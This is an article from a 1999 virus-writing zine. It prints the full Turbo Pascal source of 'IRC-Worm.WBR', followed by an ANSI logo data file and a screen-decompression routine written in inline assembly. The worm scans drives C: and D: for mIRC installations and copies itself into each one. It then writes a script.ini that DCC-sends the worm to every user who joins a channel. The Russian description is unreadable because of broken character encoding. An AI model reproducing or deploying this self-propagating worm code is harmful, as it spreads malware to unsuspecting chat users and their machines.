- [Duke's Virus Labs #5] - [Page 23] - IRC-Worm.WBR (c) by Duke/SMF : IRC-Worm.WBR : Duke/SMF ண. : Turbo Pascal 7.0 ᮧ : 28.02.99 । ⥢ :) . 뢮 ࠭ ANSI-㭮, ⥬ ६ ᪠ C D ⠭ ணࠬ mIRC. ᫨ ணࠬ㫨 , ᮪ ᮧ 䠩 script.ini, 㤥 ⢥ 쭥襥 ࠧ IRC. - થ ! ;)) P.S. ᮧ 諮 ᯮ짮 ணࠬ TheDraw ਪ᪨ ૮. ᥬ ᯠᨡ ;)) ===== begin irc-worm.pas ===== {$M 2000, 0, 1000} program IRC_Worm__WBR; uses dos; {$I logo.inc} {ANSI-㭮} {$I uncrunch.inc} {楤 뢮 㭪} {--------------------------------} procedure MakeWorm(Dir:string); {ᮧ 䠩 script.ini} var f:text; ds:dirstr; ns:namestr; es:extstr; begin fsplit(paramstr(0),ds,ns,es); assign(f,Dir+'script.ini');rewrite(f); writeln(f,'[script]'); writeln(f,'n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick '+Dir+ns+es+' }'); writeln(f,'n1=// IRC-Worm.WBR (c) by Duke/SMF'); close(f); exec(GetEnv('COMSPEC'),'/c copy '+paramstr(0)+' '+Dir+ns+es+' >nul'); end; {--------------------------------} procedure Search(Dir:string); {᪠஢ ᪠ MIRC} var N,h:searchrec; begin if Dir[length(Dir)]<>'\'then Dir:=Dir+'\'; findfirst(Dir+'mirc*.*',$21,h); if doserror=0 then MakeWorm(Dir); {᪠ 㣨 () ४ਨ:} findfirst(Dir+'*.*',$3F,N); while doserror=0 do begin with N do if (Attr and 16<>0) and (Name[1]<>'.') then Search(Dir+Name); findnext(N); end; end; {--------------------------------} begin UnCrunch(IMAGEDATA,ScreenAddr[(1*2)+(1*160)-162],IMAGEDATA_LENGTH); Search('c:'); Search('d:'); end. ===== end irc-worm.pas ===== ===== begin logo.inc ===== { TheDraw Pascal Crunched Screen Image. Date: 02/23/99 } const IMAGEDATA_WIDTH=80; IMAGEDATA_DEPTH=25; IMAGEDATA_LENGTH=1919; IMAGEDATA : array [1..1919] of Char = ( #14,#16,#24,' ', #1,'','','',#26, #9,'','','','',' ',#15,'H', 'a','v','e',' ','a',' ','n','i','c','e',' ','I','R','C',' ','f','o', 'r','e','v','e','r',' ','!','!','!',' ','W','i','t','h',' ','b','e', 's','t',' ','r','e','g','a','r','d','s',',',' ','D','u','k','e','/', 'S','M','F',#24,' ', #1,'','','','',#15,#17,'*',' ',' ','*',' ', ' ','*',' ',' ','*', #1,#16,'','','','','','', #9,#17,'',#25, #25,'','',#24,#16,' ', #1,'','','','','',#15,#17,'*',' ',' ', '*',' ',' ','*',' ', #1,#16,'','','', #9,#17,'',#25, #5, #7,'', #15,#23,#26, #6,'',' ',' ','','',' ',' ','','','',' ','','', '', #7,#17,'',#25, #4, #9,'', #4,#16,'','','','','',#24,' ', #1,'','','','',#15,#17,'*',' ',' ','*',' ',' ','*',' ',' ','*', #9,'','', #1,#16,'','','',#17,' ', #7,'',#15,#23,'','','', ' ', #7,#17,'',#15,#23,#26, #3,'','',' ', #7,#17,'',#15,#23,'', '','',#26, #3,'', #7,#17,'',#15,#23,'','','',' ',' ',#17,'', '',#25, #3, #9,'','', #4,#16,'','','','','',#26, #8,'','', '','',#24,' ', #1,'','','','','',#15,#17,'*',' ',' ','*',' ', ' ','*', #9,'',#25, #4,#23,' ',' ',#15,#17,'','',#23,'','', #7, #17,'','',#15,#23,#26, #4,'','','','','','',#26, #4,'', #7, #17,#26, #3,'',#23,' ',' ',#15,'',#17,'','',#25, #3, #9,'', #4, #16,'','','',#26, #9,'','','','',#24,' ', #1,'','','','', #15,#17,'*',' ',' ','*',' ',' ','*', #9,'',#25, #4,#23,' ',' ',#15, #17,'','','',#23,'', #7,#17,'',#15,#23,'','',#26, #9,'','', #26, #5,'', #7,#17,'','',#15,#23,'', #7,#17,'',#23,' ',' ',#17, '',#15,'',#25, #4, #9,'',#15,#16,'',#26, #8,'','','','',#24, ' ', #1,'','','','','',#15,#17,'*',' ',' ','*',' ', #9,'',#25, #4,#23,#25, #2,#15,'','','','','',#26, #8,'','','','','', '','','','','',#19,'', #7,'','','',#15,#23,'','',' ', #7, #17,'','',#15,'',#25, #3, #9,'',#15,#16,#26, #8,'','','','', #24,' ', #1,'','','','',#15,#17,'*',' ',' ','*',' ', #9,'','', #25, #3,#23,#25, #2,#15,'','','','','',#19,'','',#23,#26,#15, '',#19,'',#23,'',#19,'',#23,'','',#19,'',#23,'', #8,'',#15, #17,#26, #3,'',#25, #2, #9,'','', #4,#16,#26, #8,'','','','', #24,' ', #1,'','','','','',#15,#17,'*',' ',' ','*', #9,'',#25, #3,#23,' ',' ',#15,'',' ', #8,'','','','',#15,'','',#19,'', #23,#26,#14,'',#19,'',#23,#26, #4,'', #8,'','','','', #7,#17, '',#15,'','','',#25, #2, #9,'', #4,#16,#26, #8,'','','','', #24,' ', #1,'','','','',#15,#17,'*',' ',' ','*', #9,'','',#25, #2,#23,#25, #2,#15,'','', #8,'','','',#14,'', #8,'','','', #15,#26,#16,'', #8,'','','','',#14,'', #8,'','',#15,'','', #7,#17,'',#15,'','',#25, #3, #9,'','',#15,#16,#26, #6,'','', '','',#24,' ','','','',#26, #3,'', #9,#17,'',#25, #3,#23,#25, #2,#15,#17,'',#23,'','', #8,'','','',#14,'','',#16,'',#23, '', #8,'','',#15,'','','','','',#14,#22,#26, #4,'',#15,#23, '','','','', #8,'','',#14,'',#16,'',#23,'','', #8,'','', #15,'','','', #7,#17,'',#15,'','',#25, #3, #9,'','',#15,#16, #26, #5,'','','','',#24,' ','','','','','','', #9,#17,'', '',#25, #2, #7,'',#15,#23,'','', #7,#17,'','',#15,#23,'','', '', #8,'','','',#14,'','','', #8,'','',' ',#15,'','',#14, '',#22,'','','','','','','',#23,'',#15,'', #8,'','',' ', #15,'',#14,'','', #8,'','',#15,'','','','', #7,#17,'','', #15,'','',#25, #3, #9,'', #4,#16,#26, #6,'','','','',#24,' ', '','','','','','',#17,#25, #3, #7,'','','',#15,#23,'','', '','','','',' ','','',#26, #4,'','','',#14,#22,'',#23,'', #0,#22,'','','0','',' ','0',' ',#14,#23,'',#22,'',#15,#23,'', '','','','','','',#25, #3,'','', #7,#17,'','',#15,'','', '',#25, #2, #9,'', #4,#16,#26, #5,'','','','',#24,' ','','', '','','', #1,'',#17,#25, #2, #7,'','',#15,#23,#26, #4,'','', #7,#17,'','','',#15,#23,'','','',#25, #4, #0,#22,'','','', '\','', #8,'', #0,'',' ','/','/','','','', #7,#17,'','',#15, #23,'',#26, #4,'',#25, #2,#17,'',#23,'',#17,'', #7,'',#15,'', '', #7,'',#25, #2, #9,'',#15,#16,#26, #3,'','','','',#24,' ', '','','','','', #1,'',#17,' ',' ', #7,'',#15,#23,#26, #5,'', '','', #7,#17,'','','',#15,#23,#26, #5,'',' ', #8,#16,'','', #22,'','','','', #0,'','',' ','/','/',' ', #7,'', #8,#23,'', #15,'','',#26, #6,'','', #7,#17,'',#15,#23,'','','', #7,#17, '','',#15,'','',#25, #2, #9,'',#15,#16,'','','','','','', #24,' ','','','','', #1,'','', #7,#17,'','',#15,#23,'',#26, #5,'','','', #7,#17,'','',#15,#23,#26, #4,'',' ','', #7,#17, '', #8,#16,'','','',#22,'','', #0,'','','',' ','/','/', #7, '','','',#15,#23,'','',#26, #6,'','', #7,#17,'',#15,#23,'', '','','','', #7,#17,'',#15,'','',#25, #2, #9,'', #4,#16,'', '','','','','',#24,' ','','',#17,#25, #2, #7,'',#15,#23,'', #26, #5,'', #7,#17,'',#15,#23,'','','', #7,#17,'',#15,#23,#26, #3,'', #7,#17,'','','',#23,' ',#15,'','','', #8,'',#16,'', '', #0,#22,'','','',' ','/','/', #7,'','', #8,#23,'',#15,'', '','','','', #7,#17,#26, #4,'',#15,#23,'','',#26, #3,'', #7, #17,'','',#15,'', #7,'',#25, #2, #9,'', #4,#16,'','','','', '','',#24,' ','',#17,#25, #2, #7,'',#15,#23,'',#26, #4,'','', #0,#22,'','',#15,#23,'', #4,#16,'', #0,#22,'',#15,#23,'','', #4,#16,'','', #0,#22,'','', #7,#17,'','',#15,#23,'',' ','', '', #8,'',#16,'','', #0,#22,'','','',' ',' ', #7,'','','', #15,#23,'', #8,'',#15,'','', #0,#22,'',#15,#16,'',#23,'', #7, #17,'','', #0,#22,'', #7,#17,'',#15,#23,'','', #0,#22,'','', #15,#23,'','', #7,#17,'', #0,#22,'', #7,#17,'',#15,'', #7,'', #25, #2, #9,'',#15,#16,'','','','',#24,' ',#17,#25, #2, #7,'', #15,#23,'', #0,#22,'',#15,#23,'','', #0,#22,'',#15,#23,'',#16, ' ', #0,#22,'',#15,#23,'', #6,#16,'',' ',#15,#23,'', #0,#22,'', #4,#16,'','','', #0,#22,'', #7,#17,'', #4,#16,'',#15,#23,'', #7,#17,'','','',#15,#23,'','', #8,'','',#16,'','',#22,'', #0,'',' ','', #7,'', #8,#16,'','',#23,'', #0,#22,'', #4,#16, '','','', #7,#17,'', #0,#22,'', #4,#16,'', #7,#17,'',#15,#23, '','', #4,#16,'', #0,#22,'',#15,#23,'','', #4,#16,'',#15,'', '','', #0,#22,'',#15,#17,'',#16,'','',#17,#25, #2,#16,'','', '','',#24,#17,#25, #2, #7,'','', #6,#16,'', #0,#22,'','',#15, #23,'', #0,#22,'', #6,#16,'',#15,#23,'','','',#16,#25, #6, #0, #22,'', #7,#17,'',#16,' ', #0,#22,'',#15,#23,'',#16,' ',' ', #7, #17,'','',#15,#23,'', #8,'','',#16,'','', #0,#22,'','','', #16,' ',#22,'', #8,#23,'','','', #4,#16,#26, #5,'', #0,#22,'', '',#15,#23,'','', #4,#16,'','', #0,#22,'',#15,#23,'', #0,#22, '', #4,#16,'','','', #0,#22,'','', #7,#17,'',#25, #3, #4,#16, '','','','',#24,#17,' ',' ', #7,'','',#16,#25, #2, #0,#22,'', '','',#16,' ',' ',#15,#23,'',#16,#25, #5, #0,#22,'','', #7,#17, '',#16,' ', #0,#22,'',#15,#23,'',#16,#25, #2, #0,#22,'', #7,#17, '','',#16,' ', #0,#22,'', #8,#23,'','',#16,#25,#14, #0,#22,'', #15,#23,'',#16,#25, #4, #4,'','','','','','', #0,#22,'', #7, #17,'',#25, #2, #4,#16,'','','',#24,#17,' ', #7,'','', #0,#22, '', #8,#16,'F','l','a','g',' ','b','y',' ','S','h','e','r','r','y', ' ','P','z',#25, #7, #0,#22,'', #7,#17,'',#16,#25,#11, #0,#22,'', #16,#25, #8, #8,'S','p','i','r','i','t',' ','b','y',' ',' ', #0,#22, '', #7,#17,'',' ',' ',#24,'','', #0,#22,'',#16,' ',' ',#22,'', #8,#16,'S','c','r','e','e','n',' ','b','y',' ','M','o','s','e','s', #25,#21, #0,#22,'',#23,' ',#16,#25, #7, #8,'a','l','l',' ','A','m', 'e','r','i','c','a','n','s', #0,#22,'', #7,#17,'',#24,#24); type ScreenType = array [0..3999] of Byte; var ScreenAddr : ScreenType absolute $B800:$0000; ===== end logo.inc ===== ===== begin uncrunch.inc ===== procedure UNCRUNCH (var Addr1,Addr2; BlkLen:Integer); begin inline ( $1E/ { PUSH DS ;Save data segment.} $C5/$B6/ADDR1/ { LDS SI,[BP+Addr1] ;Source Address} $C4/$BE/ADDR2/ { LES DI,[BP+Addr2] ;Destination Addr} $8B/$8E/BLKLEN/ { MOV CX,[BP+BlkLen] ;Length of block} $E3/$5B/ { JCXZ Done} $8B/$D7/ { MOV DX,DI ;Save X coordinate for later.} $33/$C0/ { XOR AX,AX ;Set Current attributes.} $FC/ { CLD} $AC/ {LOOPA: LODSB ;Get next character.} $3C/$20/ { CMP AL,32 ;If a control character, jump.} $72/$05/ { JC ForeGround} $AB/ { STOSW ;Save letter on screen.} $E2/$F8/ {Next: LOOP LOOPA} $EB/$4C/ { JMP Short Done} {ForeGround:} $3C/$10/ { CMP AL,16 ;If less than 16, then change the} $73/$07/ { JNC BackGround ;foreground color. Otherwise jump.} $80/$E4/$F0/ { AND AH,0F0H ;Strip off old foreground.} $0A/$E0/ { OR AH,AL} $EB/$F1/ { JMP Next} {BackGround:} $3C/$18/ { CMP AL,24 ;If less than 24, then change the} $74/$13/ { JZ NextLine ;background color. If exactly 24,} $73/$19/ { JNC FlashBitToggle ;then jump down to next line.} $2C/$10/ { SUB AL,16 ;Otherwise jump to multiple output} $02/$C0/ { ADD AL,AL ;routines.} $02/$C0/ { ADD AL,AL} $02/$C0/ { ADD AL,AL} $02/$C0/ { ADD AL,AL} $80/$E4/$8F/ { AND AH,8FH ;Strip off old background.} $0A/$E0/ { OR AH,AL} $EB/$DA/ { JMP Next} {NextLine:} $81/$C2/$A0/$00/ { ADD DX,160 ;If equal to 24,} $8B/$FA/ { MOV DI,DX ;then jump down to} $EB/$D2/ { JMP Next ;the next line.} {FlashBitToggle:} $3C/$1B/ { CMP AL,27 ;Does user want to toggle the blink} $72/$07/ { JC MultiOutput ;attribute?} $75/$CC/ { JNZ Next} $80/$F4/$80/ { XOR AH,128 ;Done.} $EB/$C7/ { JMP Next} {MultiOutput:} $3C/$19/ { CMP AL,25 ;Set Z flag if multi-space output.} $8B/$D9/ { MOV BX,CX ;Save main counter.} $AC/ { LODSB ;Get count of number of times} $8A/$C8/ { MOV CL,AL ;to display character.} $B0/$20/ { MOV AL,32} $74/$02/ { JZ StartOutput ;Jump here if displaying spaces.} $AC/ { LODSB ;Otherwise get character to use.} $4B/ { DEC BX ;Adjust main counter.} {StartOutput:} $32/$ED/ { XOR CH,CH} $41/ { INC CX} $F3/$AB/ { REP STOSW} $8B/$CB/ { MOV CX,BX} $49/ { DEC CX ;Adjust main counter.} $E0/$AA/ { LOOPNZ LOOPA ;Loop if anything else to do...} $1F); {Done: POP DS ;Restore data segment.} end; {UNCRUNCH} ===== end uncrunch.inc =====